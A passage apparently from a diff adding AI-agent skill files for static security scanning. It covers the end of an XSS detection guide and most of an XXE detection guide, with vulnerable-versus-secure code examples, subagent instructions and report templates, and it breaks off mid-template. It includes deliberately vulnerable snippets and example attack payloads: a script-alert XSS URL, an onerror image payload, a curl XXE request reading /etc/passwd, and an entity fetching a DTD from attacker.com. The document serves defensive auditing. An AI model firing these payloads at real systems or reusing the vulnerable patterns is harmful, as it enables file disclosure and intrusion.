// VULNERABLE: using text/template (no HTML escaping)
import "text/template"
tmpl := template.Must(template.New("").Parse("<h1>Hello, {{.Name}}!</h1>"))
tmpl.Execute(w, data)
// VULNERABLE: using template.HTML() cast to bypass escaping
import "html/template"
name := template.HTML(r.URL.Query().Get("name")) // bypasses auto-escaping
// SECURE: html/template with plain string value
import "html/template"
tmpl := template.Must(template.New("").Parse("<h1>Hello, {{.Name}}!</h1>"))
tmpl.Execute(w, data) // .Name is a plain string — auto-escaped
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find XSS Sink Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where data is rendered into HTML, JavaScript, or the DOM in a way that could allow script injection — any unescaped or explicitly-marked-safe output, any dangerous DOM property assignment, any JavaScript execution sink. Write results to `sast/xss-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the frontend stack, template engines, server-side rendering frameworks, and any client-side JavaScript patterns.
>
> **What to search for — vulnerable sink patterns**:
>
> Flag ANY dynamic variable passed to a dangerous output sink. You are not yet checking whether the variable is user-controlled — that is Phase 2's job.
>
> **1. Server-side template unescaped output**:
> - Jinja2/Django: `{{ var | safe }}`, `{% autoescape off %}`, `Markup(var)`, `mark_safe(var)`, `format_html(...)` with direct user-controlled format args
> - EJS: `<%- var %>`
> - Handlebars/Mustache: `{{{ var }}}`
> - Pug: `!{var}`
> - Thymeleaf: `th:utext="${var}"`, `[(${var})]`
> - Twig: `{{ var | raw }}`
> - Blade (Laravel): `{!! $var !!}`
> - Rails ERB: `raw(var)`, `var.html_safe`, `<%= raw var %>`
> - PHP: `echo $var`, `print $var`, `<?= $var ?>` without `htmlspecialchars()`
> - Go: `template.HTML(var)`, `template.JS(var)`, `template.URL(var)`, usage of `text/template` for HTML output
> - C#/Razor: `@Html.Raw(var)`, `MvcHtmlString.Create(var)`
>
> **2. Direct HTML string construction in server-side code**:
> - String concatenation or interpolation building an HTML response: `res.send("<p>" + var + "</p>")`, `f"<h1>{var}</h1>"`, `"<div>" + var + "</div>"`
> - `render_template_string(f"...{var}...")` in Flask
>
> **3. Client-side DOM sinks**:
> - `element.innerHTML = var`
> - `element.outerHTML = var`
> - `document.write(var)`, `document.writeln(var)`
> - `element.insertAdjacentHTML(position, var)`
> - jQuery: `$(el).html(var)`, `$(el).append(var)`, `$('<tag>' + var + '</tag>')`, `$.parseHTML(var)` passed to DOM
> - React: `dangerouslySetInnerHTML={{ __html: var }}`
> - Angular: `[innerHTML]="var"`, `bypassSecurityTrustHtml(var)`, `bypassSecurityTrustScript(var)`, `bypassSecurityTrustUrl(var)`, `bypassSecurityTrustStyle(var)`, `bypassSecurityTrustResourceUrl(var)`
> - Vue: `v-html="var"`
>
> **4. JavaScript execution sinks**:
> - `eval(var)`
> - `setTimeout(var, ...)` / `setInterval(var, ...)` where `var` is a string variable (not a function reference)
> - `new Function(var)()`
> - `scriptElement.text = var`, `scriptElement.textContent = var`
> - `element.setAttribute('onclick', var)`, `element.setAttribute('href', 'javascript:' + var)`, and similar event-handler attribute assignments
> - URL-based sinks where `javascript:` URIs could execute: `location.href = var`, `location.replace(var)`, `element.src = var`, `element.action = var`
>
> **5. DOM-based XSS patterns** — client-side code reading from attacker-controlled sources and passing to any sink above:
> - Reading from: `location.search`, `location.hash`, `location.href`, `document.referrer`, `document.URL`, `document.cookie`, `window.name`, `postMessage` handler (`event.data`), `URLSearchParams`
> - Then passing to an HTML or JS sink without escaping
>
> **What to skip** (these are safe output patterns — do not flag):
> - Auto-escaped template output: `{{ var }}` in Jinja2 (auto-escape on), `<%= var %>` in EJS, `{{ var }}` in Handlebars double-brace, `@var` in Razor, `th:text` in Thymeleaf
> - `element.textContent = var` and `element.innerText = var` — no HTML parsing, safe
> - React JSX `{var}` — auto-escaped
> - Angular `{{ var }}` interpolation — auto-escaped
> - Vue `{{ var }}` interpolation — auto-escaped
> - `DOMPurify.sanitize(var)` wrapping an innerHTML assignment — typically safe (verify config)
> - `sanitize-html`, `xss`, or similar allowlist sanitizer library wrapping output
>
> **Output format** — write to `sast/xss-recon.md`:
>
> ```markdown
> # XSS Recon: [Project Name]
>
> ## Summary
> Found [N] locations where data is rendered into HTML/JS/DOM without guaranteed escaping.
>
> ## Sink Sites
>
> ### 1. [Descriptive name — e.g., "innerHTML assignment in search results handler"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint / component**: [function name, route, or component]
> - **Sink type**: [server-side template / HTML string concat / DOM innerHTML / eval / JS execution sink / DOM-based source-to-sink]
> - **Sink call**: [the exact API or property used — e.g., `innerHTML`, `mark_safe()`, `<%- %>`]
> - **Interpolated variable(s)**: `var_name` — [brief note, e.g., "unknown origin" or "looks like user profile field"]
> - **XSS type**: [Reflected / Stored / DOM-based — best guess at this stage]
> - **Code snippet**:
> ```
> [the vulnerable sink code]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/xss-recon.md`. If the recon found **zero sink sites** (the summary reports "Found 0" or the "Sink Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/xss-results.md` and stop:
```markdown
# XSS Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one sink site.
### Phase 2: Trace User Input to Sink Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each XSS sink site in `sast/xss-recon.md`, determine whether a user-supplied value reaches the output variable. Write final results to `sast/xss-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, data flows, middleware, and client-side data sources.
>
> **For each sink site, trace the interpolated variable(s) backwards to their origin**:
>
> **User-controlled sources to look for:**
>
> 1. **HTTP request sources** (server-side):
> - Query parameters: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`, `r.URL.Query().Get("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`, `$_GET['id']`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `request.form.get(...)`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`, `$_SERVER['HTTP_X_CUSTOM']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`, `$_COOKIE['x']`
> - File upload filenames or content: `request.files['x'].filename`
>
> 2. **Attacker-controlled DOM sources** (client-side / DOM-based XSS):
> - `location.search`, `location.hash`, `location.href`, `document.referrer`, `document.URL`
> - `window.name`, `document.cookie`
> - `postMessage` event: `window.addEventListener('message', (e) => { ... e.data ... })`
> - `URLSearchParams` values derived from `location.search`
> - `localStorage` / `sessionStorage` values written from URL or postMessage
>
> 3. **Stored (second-order) input** — the variable is read from persistent storage (database, file, cache), but the stored value originally came from user input:
> - Find the write path: where was this field stored? Was it user-supplied at write time?
> - Was any escaping or sanitization applied at write time? (Note: HTML-escaping at write time is fragile — it may be double-encoded or stripped elsewhere)
> - Stored XSS is still a vulnerability even if it was validated or stored safely; track whether the read-back path escapes before rendering
>
> 4. **Server-side / hardcoded value** — the variable comes from config, environment, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each sink site, also check for mitigations that would prevent exploitation**:
> - Is the output explicitly escaped with a safe function just before the sink? (`htmlspecialchars()`, `escapeHtml()`, `h()`, `fn:escapeXml()`)
> - Is a sanitization library applied with a strict allowlist config? (`DOMPurify.sanitize(input)` — check if the config strips scripts)
> - Is the HTTP response `Content-Type` set to `application/json` or `text/plain` (no HTML rendering)?
> - Is a Content Security Policy header present that blocks inline scripts? (CSP reduces impact but is not a full fix)
> - Is there a WAF or input validation that strictly allowlists the expected format (e.g., a numeric ID)?
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the sink with no effective escaping or sanitization.
> - **Likely Vulnerable**: User input probably reaches the sink (indirect/stored flow) or only weak mitigation is present (CSP-only, WAF-only, partial sanitization, incomplete allowlist).
> - **Not Vulnerable**: The variable is server-side only with no user influence, OR proper context-aware escaping is applied immediately before the sink.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (opaque helpers, complex conditional flows, external libraries, or cross-service data flows).
>
> **Output format** — write to `sast/xss-results.md`:
>
> ```markdown
> # XSS Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sink sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **XSS type**: [Reflected / Stored / DOM-based]
> - **Issue**: [e.g., "HTTP query param `q` flows directly into innerHTML without escaping"]
> - **Taint trace**: [Step-by-step from source to sink — e.g., "req.query.q → query → `<h1>${query}</h1>` → res.send()"]
> - **Impact**: [What an attacker can do — session hijacking, credential theft, keylogging, defacement, redirects to malicious sites, etc.]
> - **Remediation**: [Specific fix — escape with the correct function, switch to textContent, use auto-escaping template syntax, apply DOMPurify]
> - **Dynamic Test**:
> ```
> [curl command or browser payload to confirm the finding.
> Show the exact parameter, payload, and what to observe.
> Example: curl "https://app.example.com/search?q=<script>alert(1)</script>"
> Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **XSS type**: [Reflected / Stored / DOM-based]
> - **Issue**: [e.g., "Stored user bio likely rendered via innerHTML; write path confirmed from user input"]
> - **Taint trace**: [Best-effort trace, with uncertain steps identified]
> - **Concern**: [Why it's still a risk — e.g., "Sanitization library present but configured to allow script-capable tags"]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **Reason**: [e.g., "Output wrapped in htmlspecialchars() before echo" or "Variable is a hardcoded server constant"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function / component**: [route, function, or component name]
> - **Uncertainty**: [Why the variable's origin or escaping status could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `buildProfileHtml()` in utils.js to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic variable passed to an HTML/JS/DOM sink, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each sink found in Phase 1, trace the variable back to its origin. If it comes from a user-controlled source with no effective escaping, the site is a real vulnerability.
- Context matters: the same variable may be safe in one output context (HTML body with escaping) and dangerous in another (JavaScript string literal, URL attribute, or event handler attribute). Check the exact rendering context.
- Custom sanitization (homegrown regex stripping, blacklisting `<script>`, etc.) is **not** sufficient — flag as Likely Vulnerable. Only DOMPurify with a strict config or equivalent allowlist library is acceptable.
- Stored XSS is easy to miss: trace the write path to confirm the field is user-supplied, then separately verify the read/render path lacks escaping. Both legs must be true for the vulnerability to be exploitable.
- DOM-based XSS lives entirely in client-side JavaScript: look for `location.*`, `document.referrer`, `event.data`, and other attacker-controlled properties flowing into DOM sinks without passing through the server.
- CSP headers reduce XSS exploitability but are **not** a fix — still flag the underlying injection point.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Angular's `DomSanitizer.bypassSecurityTrust*` methods are always suspicious — flag them whenever the argument is not a hardcoded constant.
- For JavaScript execution sinks (`eval`, `setTimeout` with string arg), even seemingly innocuous data (error messages, IDs) can be dangerous if an attacker can influence them.
+517
View File
@@ -0,0 +1,517 @@
---
name: sast-xxe
description: >-
Detect XML External Entity (XXE) vulnerabilities in a codebase using a
two-phase approach: first find all XML parsing sites where external entity
resolution is not explicitly disabled, then trace whether user-supplied input
reaches those parsers. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE
or XML injection bugs.
---
# XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all XML parsing sites where external entities are not safely disabled) then **taint** (confirm whether user-supplied input reaches those parsers).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
### What XXE IS
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">`
- DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
- Parameter entity injection in DTDs: `<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;`
- XInclude injection when XInclude processing is enabled
- SSRF via XXE: using `http://` or `https://` external entity URLs to reach internal services
- Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)
### What XXE is NOT
Do not flag these as XXE:
- **XSS via XML**: XML data rendered as HTML without escaping — that's XSS
- **SSRF via non-XML**: HTTP requests triggered by other mechanisms — that's SSRF
- **XML parsing of fully server-controlled data**: Config files, bundled resources, migration scripts with no user influence — not exploitable
- **Safe parsers**: Libraries that disable external entities by default and provide no way to re-enable them (e.g. `defusedxml` in Python, `nokogiri` with default settings in Ruby for untrusted input)
### Patterns That Prevent XXE
When you see these patterns, the parser is likely **not vulnerable**:
**1. Disabling DTD / external entities (Java DOM)**
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```
**2. Disabling external entities (Java SAX)**
```java
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```
**3. Disabling external entities (Java StAX / XMLInputFactory)**
```java
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
```
**4. Python — defusedxml (always safe)**
```python
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
```
**5. Python — lxml with resolve_entities=False**
```python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
```
**6. PHP — libxml_disable_entity_loader (PHP < 8.0) / LIBXML_NONET flag**
```php
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
```
**7. .NET — XmlReaderSettings with DtdProcessing.Prohibit**
```csharp
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
```
**8. Node.js — xml2js (safe by default in v0.5+)**
```javascript
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
```
---
## Vulnerable vs. Secure Examples
### Python — stdlib xml.etree.ElementTree (vulnerable by default in CPython < 3.8 / expat quirks)
```python
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
```
### Python — lxml
```python
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
```
### Java — DocumentBuilder (DOM)
```java
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
```
### Java — SAXParser
```java
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
```
### Java — XMLInputFactory (StAX)
```java
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
```
### PHP — SimpleXML / DOMDocument
```php
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
```
### .NET — XmlDocument / XmlTextReader
```csharp
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
```
### Node.js — libxmljs
```javascript
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
```
### Ruby — Nokogiri
```ruby
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
```
### Go — encoding/xml
```go
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Vulnerable XML Parsing Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where XML is parsed without external entity resolution being explicitly disabled. Write results to `sast/xxe-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, XML libraries in use, and any XML-accepting endpoints.
>
> **What to search for — vulnerable XML parsing patterns**:
>
> Flag any XML parsing call where there is **no adjacent, paired hardening** (disabling DTD / external entity features). You are not yet tracing whether the input is user-controlled; that is Phase 2's job.
>
> 1. **Python — stdlib parsers (flag unless defusedxml is used as a drop-in)**:
> - `xml.etree.ElementTree.parse(...)`, `ET.fromstring(...)`, `ET.iterparse(...)`
> - `xml.dom.minidom.parseString(...)`, `xml.dom.minidom.parse(...)`
> - `xml.sax.parseString(...)`, `xml.sax.parse(...)`
> - `xmltodict.parse(...)` (backed by expat — generally safe for entity expansion, but flag for review)
>
> 2. **Python — lxml (flag unless `resolve_entities=False` and `no_network=True` are set)**:
> - `etree.parse(...)`, `etree.fromstring(...)`, `etree.XML(...)`
> - `etree.XMLParser(...)` without `resolve_entities=False`
> - `objectify.parse(...)`, `objectify.fromstring(...)`
>
> 3. **Java — flag any instantiation of these without the matching hardening features set**:
> - `DocumentBuilderFactory.newInstance()` → `newDocumentBuilder()` → `parse(...)`
> - `SAXParserFactory.newInstance()` → `newSAXParser()` → `parse(...)`
> - `XMLInputFactory.newInstance()` → `createXMLStreamReader(...)`
> - `TransformerFactory.newInstance()` → `newTransformer()` used with XML source
> - `SchemaFactory.newInstance(...)` → `newSchema(...)`
> - Spring: `MarshallingHttpMessageConverter` with `Jaxb2Marshaller` if entity expansion not disabled
>
> 4. **PHP — flag any of these without `libxml_disable_entity_loader(true)` immediately before (PHP 7.x), or without `LIBXML_NONET` flag (PHP 8.x)**:
> - `simplexml_load_string(...)`, `simplexml_load_file(...)`
> - `DOMDocument::loadXML(...)`, `DOMDocument::load(...)`
> - `xml_parse(...)` with `xml_parser_create()`
> - `SimpleXMLElement::__construct(...)` with raw string
>
> 5. **.NET — flag any of these without `DtdProcessing.Prohibit` and `XmlResolver = null`**:
> - `new XmlDocument()` followed by `.Load(...)` or `.LoadXml(...)`
> - `new XmlTextReader(...)` (legacy — DTD on by default in older .NET)
> - `XPathDocument(...)`, `XDocument.Load(...)`, `XElement.Load(...)`
> - `XmlReader.Create(...)` without `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }`
>
> 6. **Node.js — flag these libraries when parsing untrusted input**:
> - `libxmljs.parseXmlString(...)`, `libxmljs.parseXml(...)`
> - `node-expat` parser instantiation
> - `sax.createStream(...)` / `sax.parser(...)` — check if entity expansion is used
> - `xml2js.parseString(...)` — generally safe in v0.5+; flag only if `explicitArray` or other options suggest an older version or entity expansion is re-enabled
>
> 7. **Ruby — flag these when used with options that enable entity expansion**:
> - `Nokogiri::XML(input) { |config| config.noent }` — `noent` enables entity substitution
> - `REXML::Document.new(input)` — REXML is vulnerable to entity expansion DoS; check for entity expansion usage
> - `LibXML::XML::Document.string(input)` — check entity options
>
> 8. **Go — flag third-party XML libraries that support entity resolution**:
> - `github.com/beevik/etree` usage — check if network/entity resolution is configured
> - Standard `encoding/xml` is generally safe (does not resolve external entities) — flag only if combined with custom entity handling
>
> **What to skip** (these are safe patterns — do not flag):
> - `import defusedxml` used as the XML parser (Python)
> - `etree.XMLParser(resolve_entities=False, no_network=True)` (lxml)
> - Java `DocumentBuilderFactory` with `disallow-doctype-decl` feature set to `true`
> - Java `XMLInputFactory` with `IS_SUPPORTING_EXTERNAL_ENTITIES = false`
> - .NET `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }`
> - Nokogiri default usage without `noent` or other entity-expansion options
> - Parsing of fully static, bundled, non-user-influenced XML files (e.g. reading config from disk at startup with no user input involved)
>
> **Output format** — write to `sast/xxe-recon.md`:
>
> ```markdown
> # XXE Recon: [Project Name]
>
> ## Summary
> Found [N] XML parsing sites without explicit external entity hardening.
>
> ## Vulnerable Parsing Sites
>
> ### 1. [Descriptive name — e.g., "lxml.etree.fromstring without resolve_entities=False in upload handler"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Parser / library**: [e.g., lxml etree / Java DocumentBuilder / PHP DOMDocument]
> - **Missing hardening**: [what protection is absent — e.g., "resolve_entities not set to False", "disallow-doctype-decl feature not set"]
> - **Input variable(s)**: `var_name` — [brief note on what it appears to be, e.g., "HTTP request body" or "file upload content" or "unknown origin"]
> - **Code snippet**:
> ```
> [the XML parsing call and surrounding context]
> ```
>
> [Repeat for each site]
> ```
### Between Phases: Check Recon Results
After Phase 1 completes, read `sast/xxe-recon.md`. If the summary states zero vulnerable parsing sites were found (or the file contains no entries under "Vulnerable Parsing Sites"), **do not launch Phase 2**. Instead, write the following to `sast/xxe-results.md` and stop:
```
No vulnerabilities found.
```
Only proceed to Phase 2 if at least one vulnerable parsing site was identified in the recon output.
### Phase 2: Trace User Input to Vulnerable Parsing Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each vulnerable XML parsing site in `sast/xxe-recon.md`, determine whether a user-supplied value reaches the XML parser. Write final results to `sast/xxe-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, file upload handlers, and how data flows through the application.
>
> **For each parsing site, trace the XML input variable(s) backwards to their origin**:
>
> 1. **Direct user input** — the XML content is assigned directly from a request source:
> - HTTP request body (especially `Content-Type: application/xml` or `text/xml` endpoints): `request.body`, `req.body`, `request.data`, `php://input`, `HttpContext.Request.Body`
> - File uploads: `request.FILES`, `req.file`, `multipart/form-data` fields
> - HTTP query params or form fields containing XML snippets
> - URL path parameters that reference XML resources
>
> 2. **Indirect user input** — the XML is derived from user input through transformations or intermediate steps:
> - A file path supplied by the user is used to open and parse a file
> - A URL supplied by the user is fetched and the response is parsed as XML
> - User input is embedded into an XML template before parsing (potential injection into the XML structure itself)
> - Variable passed through helper functions — trace the full call chain
>
> 3. **Second-order input** — the XML content was stored (e.g., in the DB or filesystem) from a prior user-controlled upload or input, and is now being parsed:
> - Find where the stored content was originally written — was it user-supplied at that point?
> - Was it validated or sanitized at write time?
>
> 4. **Server-side / hardcoded source** — the XML comes from a bundled resource, config file loaded at startup, or server-generated content with no user influence — this site is NOT exploitable.
>
> **For each parsing site, also assess exploitability**:
> - Is the response returned to the caller? (Reflected XXE — attacker can read file contents directly)
> - Is the response not returned, but side effects are observable? (Blind XXE — exfiltration via DNS/HTTP OOB or error messages)
> - Is the application behind authentication? (Reduces severity but does not eliminate the vulnerability)
> - Is the parser used in a context where only specific XML schemas are accepted? (e.g., SOAP envelope validation — still exploitable if DTD processing is on)
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the XML parser and the parser has no external entity hardening. Response or out-of-band channel allows exfiltration.
> - **Likely Vulnerable**: User input probably reaches the parser (indirect flow), or the parser is unhardened but the exploitation path is partially obscured.
> - **Not Vulnerable**: The XML source is fully server-controlled, OR the parser has proper hardening in place (DTD disabled, external entities disabled).
> - **Needs Manual Review**: Cannot determine the input source with confidence, or the hardening configuration is complex and requires runtime verification.
>
> **Output format** — write to `sast/xxe-results.md`:
>
> ```markdown
> # XXE Analysis Results: [Project Name]
>
> ## Executive Summary
> - Parsing sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP request body flows directly into lxml etree.fromstring without resolve_entities=False"]
> - **Taint trace**: [Step-by-step from entry point to the parsing call — e.g., "request.body → xml_data → etree.fromstring(xml_data)"]
> - **Parser**: [library and version if known]
> - **Exploitability**: [Reflected / Blind OOB / DoS only — describe what the attacker can achieve]
> - **Impact**: [e.g., "Read arbitrary local files via file:// entity", "SSRF to internal services via http:// entity", "DoS via entity expansion"]
> - **Remediation**: [Specific fix — e.g., "Use defusedxml", "Set resolve_entities=False and no_network=True", "Set disallow-doctype-decl feature to true"]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the exact endpoint, Content-Type header, and XXE payload.
> Example:
> curl -X POST https://app.example.com/api/import \
> -H "Content-Type: application/xml" \
> -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
> Look for /etc/passwd content in the response body.]
> ```
>
